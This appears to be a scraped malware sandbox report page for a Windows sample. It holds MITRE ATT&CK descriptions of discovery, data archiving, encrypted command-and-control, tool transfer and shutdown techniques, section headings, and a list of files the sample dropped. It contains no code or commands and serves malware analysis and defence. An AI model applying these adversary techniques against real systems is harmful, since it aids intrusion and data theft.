Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f3VrANv7Uw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\tledoh-ogeab.dll

C:\Users\user\AppData\Roaming\tmp1241.tmp

C:\Windows\SysWOW64\adfabic.exe

C:\Windows\SysWOW64\orcemoof.dll

C:\Windows\SysWOW64\oumkovet.exe

C:\Windows\SysWOW64\ugpeatar.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
f3VrANv7Uw.exe